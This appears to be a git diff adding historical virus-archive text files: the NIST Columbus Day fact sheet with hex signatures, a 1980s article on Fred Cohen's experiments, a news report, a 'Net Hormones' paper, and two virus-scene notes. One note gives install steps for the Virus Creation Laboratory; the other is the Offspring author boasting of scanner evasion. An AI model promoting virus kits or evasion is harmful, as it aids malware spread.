be the property of persons +(in association with a computer system). + +Even sincere cooperation, however, would not eliminate inefficiencies +resulting from false alarms or failure to alert. Both inadequate +training and poor judgement are likely sources of these errors. If +users realize that there are reputational costs associated with these +failures, then they are likely to be motivated to minimize them. False +alarms are already a major problem because of user inexperience and the +high level of defects in widely used software. A reputational mechanism +would motivate increased user education and more careful software +selection, with a corresponding pressure on software publishers to +produce well behaved and carefully documented products. + +6.2. Enforcing cooperation + +Crypto-protocols could be used to ensure that a non-cooperator could +not communicate freely with others using the infection control +mechanism. This type of communication limiting could be used routinely +to ensure that a system requesting connection was not infected. In +effect, systems would exchange health certificates before file +exchanges, to ensure that they would not be infected. A system that +could not show a health certificate could be rejected as a conversation +partner due to risk of infection. This would no doubt enforce +cooperation. The mechanism (Stodolsky, 1986) is beyond the scope of +this note. + +6.3. Non-network transfers + +While the discussion above has focused on transfers through networks, +the same principles could be applied to disk or tape transfers. The +originating system would write a transaction code on the medium with +each file. Protection of identity would possibly be reduced under this +type of transfer. Since there is no question about the directionality +of transmission of an infectious agent in off-line transfers, non- +network transmission is likely to be easier to control. Several other +factors, such as the rate of spread of the agent, are likely to make +such infections less troublesome. + +7. Summary and Benefits + +The idea behind Net Hormones is to make immanent danger apparent. More +precisely Net Hormones permit the visualization of infection risk. + +7.1. Control of unidentified infectious agents. + +Net Hormones work by permitting isolation of infectious hosts from +those at risk. Identification of the infectious agent is not required +for action. Therefore, new and as yet unidentified agents can be +effectively controlled. + +7.2. Rapid response + +Hosts could automatically respond to alerts by determining if they had +been involved in suspect contacts, and generate new alerts that would +propagate along the potential route of infection. + +7.3. Protection of identity + +The mechanism could function without releasing the identity of an +infected host. This could be crucial in the case an institution that +did not wish it to be publicly know that its security system had been +compromised, or in the case of use of unregistered software. More +precisely, software obtain by untraceable and anonymous file transfers +could be protected by this mechanism without release of users' +identity. + +7.4. Distributed operation + +Operation is not dependent upon a centralized register or enforcement +mechanism. Some standardization would be helpful, however, and a way to +broadcast alerts to all potential hosts would be valuable. + +8. References + +Ferbrache, David J. (1989, February 10). Wide area network worms. +VIRUS-L Digest, V. 2 : Issue 44. [ ] + +McAfee, J. D. (1989, February 13). In depth: Managing the virus threat. +Computerworld, 89-91; 94-96. + +Scott, Peter. (1989, February 10). Virus detection. VIRUS-L Digest, V. +2 : Issue 44. [PJS%naif.JPL.NASA.GOV@Hamlet.Bitnet +. ] + +Stodolsky, D. (1979a, April 9). Personal computers for supporting +health behaviors. Stanford, CA: Department of Psychology, Stanford +University. (Preliminary proposal) + +Stodolsky, D. (1979b, May 21). Social facilitation supporting health +behaviors. Stanford, CA: Department of Psychology, Stanford University. +(Preliminary proposal) + +Stodolsky, D. (1979c, October). Systems approach to the epidemiology +and control of sexually transmitted diseases. Louisville, KY: System +Science Institute, University of Louisville. (Preliminary project +proposal) + +Stodolsky, D. (1983, June 15). Health promotion with an advanced +information system. Presented at the Lake Tahoe Life Extension +Conference. (Summary) + +Stodolsky, D. (1986, June). Data security and the control of infectious +agents. (Abstracts of the cross disciplinary symposium at the +University of Linkoeping, Sweden: Department of Communication Studies). + +Webster's new collegiate dictionary. (1976). Springfield, MA: G. & C. +Merriam + +------------------------------------------------------------- + +David Stodolsky diku.dk!stodol@uunet.UU.NET +Department of Psychology Voice + 45 1 58 48 86 +Copenhagen Univ., Njalsg. 88 Fax. + 45 1 54 32 11 +DK-2300 Copenhagen S, Denmark stodol@DIKU.DK + diff --git a/textfiles.com/virus/newinstl.txt b/textfiles.com/virus/newinstl.txt new file mode 100644 index 00000000..b0a3cfdd --- /dev/null +++ b/textfiles.com/virus/newinstl.txt @@ -0,0 +1,29 @@ +NOTE: VCL.ZIP (Nowhere Man's Virus Creation Laboratory v1.00) IS REQUIRED +TO INSTALL V.C.L.; THIS PROGRAM ALONE IS NOT SUFFICIENT. PLEASE FOLLOW +THE INSTRUCTIONS BELOW. + + +New INSTALL for V.C.L. +---------------------- + + This is the new installation program for Nowhere Man's Virus +Creation Laboratory v1.0. The original installation program had a bug +that would cause a system hang whenever you tried to install V.C.L. to +a disk other than the one that INSTALL.EXE exsisted upon. This has been +corrected, and a few other small improvements have been made. If you +have the original .ZIP of V.C.L. v1.0 (you're a sysop, etc.), please +replace the INSTALL.EXE included in the package with this one (use +"PKZIP -k -a VCL.ZIP INSTALL.EXE"). Future versions of V.C.L. will be +shipped with this (or a better) installation program. + Before reinstalling V.C.L., use the DOS SETVER utility to set +the apparent DOS version for V.C.L. to 3.30 ("SETVER VCL.EXE 3.30"); +ignore the ridiculous warning that SETVER will give you. You must reboot +for the new SETVER entry to kick in. Then run install... + Thanks to Couch, The Professor, PDP-11, Guido Sanchez, Snake Eyes, +Number Six, Ned, and all of the others around 708 who informed me of this +grevious error. I apologize for any inconvenience, but these bugs just +seem to creep in on you. + Hope you enjoy V.C.L.! + + + -- Nowhere Man, [NuKE] '92 diff --git a/textfiles.com/virus/nist01.txt b/textfiles.com/virus/nist01.txt new file mode 100644 index 00000000..fd58b67e --- /dev/null +++ b/textfiles.com/virus/nist01.txt @@ -0,0 +1,105 @@ + + Columbus Day Virus: Press Release (21) + + +FOR IMMEDIATE RELEASE: Jan Kosko +Sept. 22, 1989 301/975-2762 + + TN-XXXX + + + COMPUTER SECURITY EXPERTS ADVISE STEPS + TO REDUCE THE RISK OF VIRUS ATTACKS + + To reduce the risk of damage from potentially serious +computer viruses, including one called "Columbus Day," experts at +the National Institute of Standards and Technology (NIST), the +National Computer Security Center (NCSC), and the Software +Engineering Institute (SEI) are recommending several measures plus +commonsense computing practices. + "This advice is being offered to encourage effective yet calm +response to recent reports of a new variety of computer virus," +says Dennis Steinauer, manager of the computer security management +and evaluation group at NIST. + While incidents of malicious software attacks are relatively +few, they have been increasing. Most recently, a potentially +serious personal computer virus has been reported. The virus is +known by several names, including "Columbus Day," Datacrime and +"Friday the 13th." In infected machines it is designed to attack +the hard-disk data-storage devices of IBM-compatible personal +computers on or after October 13. The virus is designed to +destroy disk file directory information, making the disk's +contents inaccessible. (A fact sheet on this virus is attached +and includes precautionary measures to help prevent damage.) + While the Columbus Day virus has been identified in both the +United States and Europe, there is no evidence that it has spread +extensively in this country or that it is inherently any more +threatening than other viruses, say the computer security experts. + "Computer virus" is a term often used to indicate any self- +replicating software that can, under certain circumstances, +destroy information in computers or disrupt networks. Other +examples of malicious software are "Trojan horses" and "network +worms." Viruses can spread quickly and can cause extensive +damage. They pose a larger risk for personal computers which tend +to have fewer protection features and are often used by non- +technically-oriented people. Viruses often are written to +masquerade as useful programs so that users are duped into copying +them and sharing them with friends and work colleagues. + Routinely using good computing practices can reduce the +likelihood of contracting and spreading any virus and can minimize +its effects if one does strike. Advice from the experts includes: +* Make frequent backups of your data, and keep several + versions. +* Use only software obtained from reputable and reliable + sources. Be very cautious of software from public sources, + such as software bulletin boards, or sent across personal + computer networks. +* Don't let others use your computer without your consent. +* Use care when exchanging software between computers at work + or between your home computer and your office computer. +* Back up new software immediately after installation and use + the backup copy whenever you need to restore. Retain + original distribution diskettes in a safe location. +* Learn about your computer and the software you use and be + able to distinguish between normal and abnormal system + activity. +* If you suspect your system contains a virus, stop using it + and get assistance from a knowledgeable individual. + In general, educating users is one of the best, most cost- +effective steps to take, says Steinauer. Users should know about +malicious software in general and the risks that it poses, how to +use technical controls, monitor their systems and software for +abnormal activity, and what to do to contain a problem or recover +from an attack. "An educated user is the best defense most +organizations have," he says. + A number of commercial organizations sell software or +services that may help detect or remove some types of viruses, +including the Columbus Day virus. But, says Steinauer, there are +many types of viruses, and new ones can appear at any time. "No +product can guarantee to identify all viruses," he adds. + To help deal with various types of computer security threats, +including malicious software, NIST and others are forming a +network of computer security response and information centers. +These centers are being modeled after the SEI's Computer Emergency +Response Team Coordination Center, often called CERT, established +by the Defense Advanced Research Projects Agency (DARPA). The +centers will serve as sources of information and guidance on +viruses and related threats and will respond to computer security +incidents. + In addition, NIST recently has issued guidelines for +controlling viruses in various computer environments including +personal computers and networks. + NIST develops security standards for federal agencies and +security guidelines for unclassified computer systems. NCSC, a +component of the National Security Agency, develops guidelines for +protecting classified (national security) systems. SEI, a +research organization funded by DARPA, is located at Carnegie +Mellon University in Pittsburgh. + + +NOTE: Computer Viruses and Related Threats: A Management Guide +(NIST Special Publication 500-166) is available from +Superintendent of Documents, U.S. Government Printing Office, +Washington, D.C. 20402. Order by stock no. 003-003-02955-6 for +$2.50 prepaid. Editors and reporters can get a copy from the NIST +Public Information Division, 301/975-2762. diff --git a/textfiles.com/virus/nist02.txt b/textfiles.com/virus/nist02.txt new file mode 100644 index 00000000..aabaedef --- /dev/null +++ b/textfiles.com/virus/nist02.txt @@ -0,0 +1,99 @@ + + Columbus Day Virus: A Fact Sheet (22) + + +Sept. 22, 1989 + + FACT SHEET + + Columbus Day Computer Virus + +Several reports of a new computer virus recently have been +published in the media and throughout the data processing +community. This virus has been referred to as "Columbus Day," +"Friday the 13th," as well as "Datacrime I" or "Datacrime II." It +attacks IBM-compatible personal computers running the MS-DOS/PC- +DOS operating system. If activated, the virus will destroy disk +file directory information, making files and their contents +inaccessible. The following information has been compiled by +NIST, NCSC, and SEI from several sources and is being made +available for system managers to use in taking precautionary +measures. + +NOTE: As with many viruses, there may be other, yet unidentified, +variants with different characteristics. Therefore, this +information is not guaranteed to be complete and accurate for all +possible variants. + +NAMES OF VIRUS: Columbus Day, Friday the 13th, Datacrime I/II +EFFECT: Performs a low-level format of cylinder zero of the +hard disk on the target machine, thereby destroying the boot +sector and File Allocation Table (FAT) information. Upon +activation it may display a message similar to the following: +DATACRIME VIRUS RELEASED:1 MARCH 1989 + +TRIGGER: The virus is triggered by a system date 13 October or +later. (Note that 13 October 1989 is a Friday.) + +CHARACTERISTICS: Several characteristics have been identified:. + +1. The virus, depending on its variant, appends itself to .COM +files (except for COMMAND.COM), increasing the .COM file by +either 1168 or 1280 bytes. In addition, the Datacrime II variant +can infect .EXE files, increasing their size by 1514 bytes. + +2. The 1168 byte version contains the hex string EB00B40ECD21B4. + +3. The 1280 byte version contains the hex string +00568DB43005CD21. + +This virus reportedly was released on 1 March 1989 in Europe. It +is unlikely that significant propagation could occur between the +release date and mid-October; therefore, U.S. systems should be +at a low risk for infection. If safe computing practices have +been followed, the risk should be practically nil. However, +managers believing their site may be at risk should consider +taking precautionary measures, including one or more of the +following actions: + +1. Take full back-ups of all hard disks. If the disks are later +found to have been infected and attacked by the virus, lost data +can be recovered from the back-ups. Operating system and +application software can be restored from original media. A full +low-level disk format should be performed on the infected hard +disk prior to restoration procedures. + +2. Consider using a commercial utility that can assist in +restoration of a disk directory and recovery of data. There are +a number of such utilities on the market. Note that these +utilities normally must be run prior to data loss to enable disk +and file restoration. + +3. Avoid setting the system date to 13 October or later until +the systems have been checked for virus presence. + +4. Attempt to determine if the virus is present in one or more +files through one of the following techniques: + + a. If original file sizes are known, check for increased + sizes as noted above. + + b. Use DEBUG or other utility to scan .COM and .EXE files + for the characteristic hexadecimal strings noted + earlier. + + c. Copy all software to an isolated system and set the + system date to 13 October or later and run several + programs to see if the virus is triggered. If + activation occurs, all other systems will require virus + identification and removal. + + d. Use a virus-detection tool to determine if this (or + another) virus is present. + +Commercial products intended to detect or remove various computer +viruses are available from several sources. However, these +products are not formally reviewed or evaluated; thus, they are +not listed here. The decision to use such products is the +responsibility of each user or organization. + diff --git a/textfiles.com/virus/offspr82.txt b/textfiles.com/virus/offspr82.txt new file mode 100644 index 00000000..94f94fc1 --- /dev/null +++ b/textfiles.com/virus/offspr82.txt @@ -0,0 +1,36 @@ + +旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 +� OFFSPRING v0.82 - By Virogen - 09/06/93� +읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 + + Yea yea here is Offspring v0.82 .. this really isn't a release which + involved much change as far as coding goes. Mcafee's SCAN has been + detecting this virus as 'Trident' which is obviously a complete + screw up since this viruses encryption is not anything like TPE. + Actually, SCANv107 adds 'OFFSpring' to it's list of detectable + viruses. I don't know what version he got , but it doesn't detect + any current version as [OFFS]. Regardless as what it detects as, I + just couldn't live with one of my viruses being detected by his shitass + scanner. So new in this version is: + + v0.82 - No longer detectable by SCAN as anything. + No longer detectable by TBAV heuristics. + + + Type : PSRhA - Parastic & Spawning Resident - Encrypting + Origin : Virogen's Drunken Programming Inc. + Eff. Length : 1134-1184 + + Infection Method : Once memory resident, the virus infects up to five + files in the current directory everytime a file + is execucted. Anyway, it will first infect EXE files + (spawning) in directory, once all the EXE files have + been infected, it moves to COM files (parastic). + + + + Your Faithful Comrad, + Virogen + + + diff --git a/textfiles.com/virus/p1.txt b/textfiles.com/virus/p1.txt new file mode 100644 index 00000000..d3ae1d48 --- /dev/null +++ b/textfiles.com/virus/p1.txt @@ -0,0 +1,186 @@ + + +* OR ABORTS SUSPENDS * + SECURITY EXPERTS ARE AFRAID THAT SABOTEURS COULD + INFECT COMPUTERS WITH A "VIRUS" THAT WOULD REMAIN + LATENT FOR MONTHS OR EVEN YEARS, AND THEN CAUSE + CHAOS. + + + + + ATTACK OF THE COMPUTER VIRUS + -------------------------------- + + BY LEE DEMBART + + + + GERM WARFARE-THE DELIBERATE RELEASE OF DEADLY BACTERIA OR VIRUSES-IS A +PRACTICE SO ABHORRENT THAT IT HAS LONG BEEN OUTLAWED BY INTERNATIONAL TREATY. +YET COMPUTER SCIENTISTS ARE CONFRONTING THE POSSIBILITY THAT SOMETHING AKIN TO +GERM WARFARE COULD BE USED TO DISABLE THEIR LARGEST MACHINES. IN A +CIVILIZATION EVER MORE DEPENDENT ON COMPUTERS, THE RESULTS COULD BE DISASTROUS +-THE SUDDEN SHUTDOWN OF AIR TRAFFIC CONTROL SYSTEMS, FINANCIAL NETWORKS, OR +FACTORIES, FOR EXAMPLE, OR THE WHOLESALE DESTRUCTION OF GOVERNMENT OR BUSINESS +MORE: [Y]ES,(N)O,(NS)NON-STOP? ns +RECORDS. + + THE WARNING HAS BEEN RAISED BY A UNIVERSITY OF SOUTHERN CALIFORNIA RESEARCHER +WHO FIRST DESCRIBED THE PROBLEM IN SEPTEMBER, BEFORE TWO CONFERENCES ON +COMPUTER SECURITY. RESEARCH BY GRADUATE STUDENT FRED COHEN, 28, SHOWS THAT IT +IS POSSIBLE TO WRITE A TYPE OF COMPUTER PROGRAM, WHIMSICALLY CALLED A VIRUS, +THAT CAN INFILTRATE AND ATTACK A COMPUTER SYSTEM IN MUCH THE SAME WAY A REAL +VIRUS INFECTS A HUMAN BEING. SLIPPED INTO A COMPUTER BY SOME CLEVER SABOTEUR, +THE VIRUS WOULD SPREAD THROUGHOUT THE SYSTEM WHILE REMAINING HIDDEN FROM IT'S +OPERATORS. THEN, AT SOME TIME MONTHS OR YEARS LATER, THE VIRUS WOULD EMERGE +WITHOUT WARNING TO CRIPPLE OR SHUT DOWN ANY INFECTED MACHINE. + + THE POSSIBILITY HAS COMPUTER SECURITY EXPERTS ALARMED BECAUSE, AS COHEN +WARNS, THE PROGRAMMING NECESSARY TO CREATE THE SIMPLEST FORMS OF COMPUTER +VIRUS IS NOT PARTICULARLY DIFFICULT. "VIRAL ATTACKS APPEAR TO BE EASY TO +DEVELOP IN A SHORT TIME," HE TOLD A CONFERENCE CO-SPONSORED BY THE NATIONAL +BUREAU OF STANDARDS AND THE DEPARTMENT OF DEFENSE. "[THEY] CAN BE DESIGNED TO +LEAVE FEW IF ANY TRACES IN MOST CURRENT SYSTEMS, ARE EFFECTIVE AGAINST MODERN +SECURITY POLICIES, AND REQUIRE ONLY MINIMAL EXPERTISE TO IMPLEMENT." + + COMPUTER VIRUSES ARE APTLY NAMED; THEY SHARE SEVERAL INSIDIOUS FEATURES WITH +BIOLOGICAL VIRUSES. REAL VIRUSES BURROW INTO LIVING CELLS AND TAKE OVER THEIR +HOSTS' MACHINERY TO MAKE MULTIPLE COPIES OF THEMSELVES. THESE COPIES ESCAPE TO +INFECT OTHER CELLS. USUALLY INFECTED CELLS DIE. A COMPUTER VIRUS IS A TINY +COMPUTER PROGRAM THAT "INFECTS" OTHER PROGRAMS IN MUCH THE SAME WAY. THE VIRUS +ONLY OCCUPIES A FEW HUNDRED BYTES OF MEMORY; A TYPICAL MAINFRAME PROGRAM, BY +CONTRAST, TAKES UP HUNDREDS OF THOUSANDS. THUS, WHEN THE VIRUS IS INSERTED INTO +AN ORDINARY PROGRAM, ITS PRESENCE GOES UNNOTICED BY COMPUTER OPERATORS OR +TECHNICIANS. + + THEN, EACH TIME THE "HOST" PROGRAM RUNS, THE COMPUTER AUTOMATICALLY EXECUTES +THE INSTRUCTIONS OF THE VIRUS-JUST AS IF THEY WERE PART OF THE MAIN PROGRAM. A +TYPICAL VIRUS MIGHT CONTAIN THE FOLLOWING INSTRUCTIONS: "FIRST, SUSPEND +EXECUTION OF THE HOST PROGRAM TEMPORARILY. NEXT, SEARCH THE COMPUTER'S MEMORY +FOR OTHER LIKELY HOST PROGRAMS THAT HAVE NOT BEEN ALREADY INFECTED. IF ONE IS +FOUND, INSERT A COPY OF THESE INSTRUCTIONS INTO IT. FINALLY, RETURN CONTROL +OF THE COMPUTER TO THE HOST PROGRAM." + + THE ENTIRE SEQUENCE OF STEPS TAKES A HALF A SECOND OR LESS TO COMPLETE, FAST +ENOUGH SO THAT NO ON WILL BE AWARE THAT IT HAS RUN. AND EACH NEWLY INFECTED +HOST PROGRAM HELPS SPREAD THE CONTAGION EACH TIME IT RUNS, SO THAT EVENTUALLY +EVERY PROGRAM IN THE MACHINE IS CONTAMINATED. + + THE VIRUS CONTINUES TO SPREAD INDEFINITELY, EVEN INFECTING OTHER COMPUTERS +WHENEVER A CONTAMINATED PROGRAM IN TRANSMITTED TO THEM. THEN, ON A PARTICULAR +DATE OR WHEN CERTAIN PRESET CONDITIONS ARE MET, THE VIRUS AND ALL IT'S CLONES +GO ON THE ATTACK. AFTER THAT, EACH TIME AN INFECTED PROGRAM IS RUN, THE VIRUS +DISRUPTS THE COMPUTER'S OPERATIONS BY DELETING FILES, SCRAMBLING THE MEMORY, +TURNING OFF THE POWER, OR MAKING OTHER MISCHIEF. + + THE SABOTEUR NEED NOT BE AROUND TO GIVE THE SIGNAL TO ATTACK. A DISGRUNTLED +EMPLOYEE WHO WAS AFRAID OF GETTING FIRED, FOR EXAMPLE, MIGHT PLOT HIS REVENGE +IN ADVANCE BY ADDING AN INSTRUCTION TO HIS VIRUS THAT CAUSED IT TO REMAIN +DORMANT ONLY SO LONG AS HIS PERSONAL PASSWORD WAS LISTED IN THE SYSTEM. THEN, +SAYS COHEN, "AS SOON AS HE WAS FIRED AND THE PASSWORD WAS REMOVED, NOTHING +WOULD WORK ANY MORE." + + THE FACT THAT THE VIRUS REMAINS HIDDEN AT FIRST IS WHAT MAKES IT SO +DANGEROUS. "SUPPOSE YOUR VIRUS ATTACKED BY DELETING FILES IN THE SYSTEM," +COHEN SAYS. "IF IT STARTED DOING THAT RIGHT AWAY, THEN AS SOON AS YOUR FILES +GOT INFECTED THEY WOULD START TO DISAPPEAR AND YOU'D SAY 'HEY, SOMETHING'S +WRONG HERE.' YOU'D PROBABLY BE ABLE TO IDENTIFY WHOEVER DID IT." TO AVOID +EARLY DETECTION OF THE VIRUS, A CLEVER SABOTEUR MIGHT ADD INSTRUCTIONS TO THE +VIRUS PROGRAM THAT WOULD CAUSE IT TO CHECK THE DATE EACH TIME IT RAN, AND +ATTACK ONLY IF THE DATE WAS IDENTICAL -OR LATER THAN- SOME DATE MONTHS OR +YEARS IN THE FUTURE. "THEN," SAYS COHEN, "ONE DAY, EVERYTHING WOULD STOP. EVEN +IF THEY TRIED TO REPLACE THE INFECTED PROGRAMS WITH PROGRAMS THAT HAD BEEN +STORED ON BACK-UP TAPES, THE BACK-UP COPIES WOULDN'T WORK EITHER - PROVIDED +THE COPIES WERE MADE AFTER THE SYSTEM WAS INFECTED. + + THE IDEA OF VIRUS-LIKE PROGRAMS HAS BEEN AROUND SINCE AT LEAST 1975, WHEN THE +SCIENCE FICTION WRITER JOHN BRUNNER INCLUDED ONE IN HIS NOVEL `THE SHOCKWAVE +RIDER'. BRUNNER'S "TAPEWORM" PROGRAM RAN LOOSE THROUGH THE COMPUTER NETWORK, +GOBBLING UP COMPUTER MEMORY IN ORDER TO DUPLICATE ITSELF. "IT CAN'T BE +KILLED," ONE CHARACTER IN THE BOOK EXCLAIMS IN DESPERATION. "IT'S +INDEFINITELY SELF-PERPETUATING AS LONG AS THE NETWORK EXISTS." + + IN 1980, JOHN SHOCH AT THE XEROX PALO ALTO RESEARCH CENTER DEVISED A +REAL-LIFE PROGRAM THAT DID SOMEWHAT THE SAME THING. SHOCH'S CREATION, CALLED A +WORM, WRIGGLED THROUGH A LARGE COMPUTER SYSTEM LOOKING FOR MACHINES THAT WERE +NOT BEING USED AND HARNESSING THEM TO HELP SOLVE A LARGE PROBLEM. IT COULD +TAKE OVER AN ENTIRE SYSTEM. MORE RECENTLY, COMPUTER SCIENTISTS HAVE AMUSED +THEMSELVES WITH A GLADIATORIAL COMBAT, CALLED CORE WAR, THAT RESEMBLES A +CONTROLLED VIRAL ATTACK. SCIENTISTS PUT TWO PROGRAMS IN THE SAME COMPUTER, +EACH DESIGNED TO CHASE THE OTHER AROUND THE MEMORY, TRYING TO INFECT AND KILL +THE RIVAL. + + INSPIRED BY EARLIER EFFORTS LIKE THESE, COHEN TOOK A SECURITY COURSE LAST +YEAR, AND THEN SET OUT TO TEST WHETHER VIRUSES COULD ACTUALLY DO HARM TO A +COMPUTER SYSTEM. HE GOT PERMISSION TO TRY HIS VIRUS AT USC ON A VAX COMPUTER +WITH A UNIX OPERATING SYSTEM, A COMBINATION USED BY MANY UNIVERSITIES AND +COMPANIES. (AN OPERATING SYSTEM IS THE MOST BASIC LEVEL OF PROGRAMMING IN A +COMPUTER; ALL OTHER PROGRAMS USE THE OPERATING SYSTEM TO ACCOMPLISH BASIC +TASKS LIKE RETRIEVING INFORMATION FROM MEMORY, OR SENDING IT TO A SCREEN.) + + IN FIVE TRIAL RUNS, THE VIRUS NEVER TOOK MORE THAN AN HOUR TO PENETRATE THE +ENTIRE SYSTEM. THE SHORTEST TIME TO FULL INFECTION WAS FIVE MINUTES, THE +AVERAGE HALF AN HOUR. IN FACT, THE TRIAL WAS SO SUCCESSFUL THAT UNIVERSITY +OFFICIALS REFUSED TO ALLOW COHEN TO PERFORM FURTHER EXPERIMENTS. COHEN +UNDERSTANDS THEIR CAUTION, BUT CONSIDERS IT SHORTSIGHTED. "THEY'D RATHER BE +PARANOID THAN PROGRESSIVE," HE SAYS. "THEY BELIEVE IN SECURITY THROUGH +OBSCURITY." + + COHEN NEXT GOT A CHANCE TO TRY OUT HIS VIRUSES ON A PRIVATELY OWNED UNIVAC +1108. (THE OPERATORS HAVE ASKED THAT THE COMPANY NOT BE IDENTIFIED.) THIS +COMPUTER SYSTEM HAD AN OPERATING SYSTEM DESIGNED FOR MILITARY SECURITY; IT WAS +SUPPOSED TO ALLOW PEOPLE WITH LOW-LEVEL SECURITY CLEARANCE TO SHARE A COMPUTER +WITH PEOPLE WITH HIGH-LEVEL CLEARANCE WITHOUT LEAKAGE OF DATA. BUT THE +RESTRICTIONS AGAINST DATA FLOW DID NOT PREVENT COHEN'S VIRUS FROM SPREADING +THROUGHOUT THE SYSTEM - EVEN THOUGH HE ONLY INFECTED A SINGLE LOW-SECURITY +LEVEL SECURITY USER. HE PROVED THAT MILITARY COMPUTERS, TOO, MAY BE +VULNERABLE, DESPITE THEIR SAFEGUARDS. + + THE PROBLEM OF VIRAL SPREAD IS COMPOUNDED BY THE FACT THAT COMPUTER USERS +OFTEN SWAP PROGRAMS WITH EACH OTHER, EITHER BY SHIPPING THEM ON TAPE OR DISK +OR SENDING THEM OVER A TELEPHONE LINE OR THROUGH A COMPUTER NETWORK. THUS, AN +INFECTION THAT ORIGINATES IN ONE COMPUTER COULD EASILY SPREAD TO OTHERS OVER +TIME - A HAZARD THAT MAY BE PARTICULARLY SEVERE FOR THE BANKING INDUSTRY, WHERE +INFORMATION IS CONSTANTLY BEING EXCHANGED BY WIRE. SAYS COHEN, "THE DANGER IS +THAT SOMEBODY WILL WRITE VIRUSES THAT ARE BAD ENOUGH TO GET AROUND THE +FINANCIAL INSTITUTIONS AND STOP THEIR COMPUTERS FROM WORKING." + + MANY SECURITY PROFESSIONALS ALSO FIND THIS PROSPECT FRIGHTENING. SAYS JERRY +LOBEL, MANAGER OF COMPUTER SECURITY AT HONEYWELL INFORMATION SYSTEMS IN +PHOENIX, "FRED CAME UP WITH ONE OF THE MORE DEVIOUS KINDS OF PROBLEMS AGAINST +WHICH WE HAVE VERY FEW DEFENSES AT PRESENT." LOBEL, WHO ORGANIZED A RECENT +SECURITY CONFERENCE SPONSORED BY THE INTERNATIONAL FEDERATION FOR INFORMATION +PROCESSING -AT WHICH COHEN ALSO DELIVERED A PAPER- CITES OTHER POTENTIAL +TARGETS FOR ATTACK: "IF IT WERE AN AIR TRAFFIC CONTROL SYSTEM OR A PATIENT +MONITORING SYSTEM IN A HOSPITAL, IT WOULD BE A DISASTER." + + MARVIN SCHAEFER, CHIEF SCIENTIST AT THE PENTAGON'S COMPUTER SECURITY CENTER, +SAYS THE MILITARY HAS BEEN CONCERNED ABOUT PENETRATION BY VIRUS-LIKE PROGRAMS +FOR YEARS. DEFENSE PLANNERS HAVE PROTECTED SOME TOP-SECRET COMPUTERS BY +ISOLATING THEM, JUST AS A DOCTOR MIGHT ISOLATE A PATIENT TO KEEP HIM FROM +CATCHING COLD. THE MILITARY'S MOST SECRET COMPUTERS ARE OFTEN KEPT IN +ELECTRONICALLY SHIELDED ROOMS AND CONNECTED TO EACH OTHER, WHEN NECESSARY, BY +WIRES THAT RUN THROUGH PIPES CONTAINING GAS UNDER PRESSURE. SHOULD ANYONE TRY +TO PENETRATE THE PIPES IN ORDER TO TAP INTO THE WIRES, THE DROP IN GAS +PRESSURE WOULD IMMEDIATELY GIVE HIM AWAY. BUT, SCHAEFER ADMITS, "IN SYSTEMS +THAT DON'T HAVE GOOD ACCESS CONTROLS, THERE REALLY IS NO WAY TO CONTAIN A +VIRUS. IT'S QUITE POSSIBLE FOR AN ATTACK TO TAKE OVER A MACHINE." + + HONEYWELL'S LOBEL STRONGLY BELIEVES THAT NEITHER COHEN NOR ANY OTHER +RESPONSIBLE EXPERT SHOULD EVEN OPEN A PUBLIC DISCUSSION OF COMPUTER VIRUSES. +"IT ONLY TAKES A HALFWAY DECENT PROGRAMMER ABOUT HALF A DAY OF THINKING TO +FIGURE OUT HOW TO DO IT," LOBEL SAYS. "IF YOU TELL ENOUGH PEOPLE ABOUT IT, +THERE'S GOING TO BE ONE CRAZY ENOUGH OUT THERE WHO'S GOING TO TRY." + + COHEN DISAGREES, INSISTING THAT IT IS MORE DANGEROUS `NOT' TO DISCUSS AND +STUDY COMPUTER VIRUSES. "THE POINT OF THESE EXPERIMENTS," HE SAYS, "IS THAT IF +I CAN FIGURE OUT HOW TO DO IT, SOMEBODY ELSE CAN TOO. IT'S BETTER TO HAVE +SOMEBODY FRIENDLY DO THE EXPERIMENT, TELL YOU HOW BAD IT IS, SHOW YOU HOW IT +WORKS AND HELP YOU COUNTERACT IT, THAN TO HAVE SOMEBODY VICIOUS COME ALONG AND +DO IT." IF YOU WAIT FOR THE BAD GUYS TO CREATE A VIRUS FIRST, COHEN SAYS, THEN +BY THE TIME YOU FIND OUT ABOUT IT, IT WILL BE TOO LATE. + + 11 MINUTES LEFT + +BULLETIN # 1 THRU 32, L)IST, PRESS [ENTER] TO CONTINUE? \ No newline at end of file diff --git a/textfiles.com/virus/pcblkjck.txt b/textfiles.com/virus/pcblkjck.txt new file mode 100644 index 00000000..9508c07f Binary files /dev/null and b/textfiles.com/virus/pcblkjck.txt differ diff --git a/textfiles.com/virus/peacevir.vir b/textfiles.com/virus/peacevir.vir new file mode 100644 index 00000000..c2a0a580 --- /dev/null +++ b/textfiles.com/virus/peacevir.vir @@ -0,0 +1,58 @@ +COMPUTER VIRUS HITS AGAIN + +A tiny mischievous computer program called a "virus" has popped +up for what experts believe is the first time in retail software, +according to a newspaper report published Tuesday. + +The appearance of the virus raises the fear that devilish +programs created by practical jokers or vandals could be used to +destroy computer software sold in stores, according to a story in +the San Jose Mercury News. + +The virus found last week in FreeHand, a Macintosh program from +Aldus Corp. in Seattle, consisted of a "message of peace" +designed to appear on Macintosh screens on March 2, the +anniversary of the Apple Macintosh SE and the Macintosh II, +according to the report. + +"The time bomb already went off," said Donn Parker, a computer +security specialist at SRI in Menlo Park. Although the brief +pease message was harmless, its appearance alarmed experts who +until now thought viruses were hidden only on software available +on bulletin boards for little or no cost, or on programs shared +by swappers, the newspaper reported. + +The "message of peace" virus originated at a Canadian publication +called MacMag and was distributed by many bulletin boards in a +program that purported to be a new listing of products made by +Apple. + +The virus was inadvertently passed to Aldus by Marc Canter +president of MacroMind Inc., of Chicago, maker of training disks +for Aldus. Aldus would not disclose how many FreeHand copies are +infected but said a disk duplicating machine copied the infected +disk for three days. Half the infected disks have been +distributed to retail outlets and the rest are in the company's +warehouse. + +Canter was on a trip to Canada when he received an infected +program for the Mr. Potato Head game, a computerized version of +the popular toy. Unaware of the infection, Canter ran the +program once and when he used the same computer to work on Aldus +software, the disk headed for Aldus also became infected, he +said. + +The computer virus was then inadvertently copied onto disks sold +to customers and infected their computers, he said. + +It appears software designed by Lotus Development Corp.,Apple +Computer Inc., of Cupertino; and Ashton-Tate may be infected by +the virus, Canter told the Mercury News. + + From the: + San Jose, Associated Press. + + Compliments of the + Saginaw Valley Computer Association + Furnished by Nancy Burdick + \ No newline at end of file diff --git a/textfiles.com/virus/ph-vir1.txt 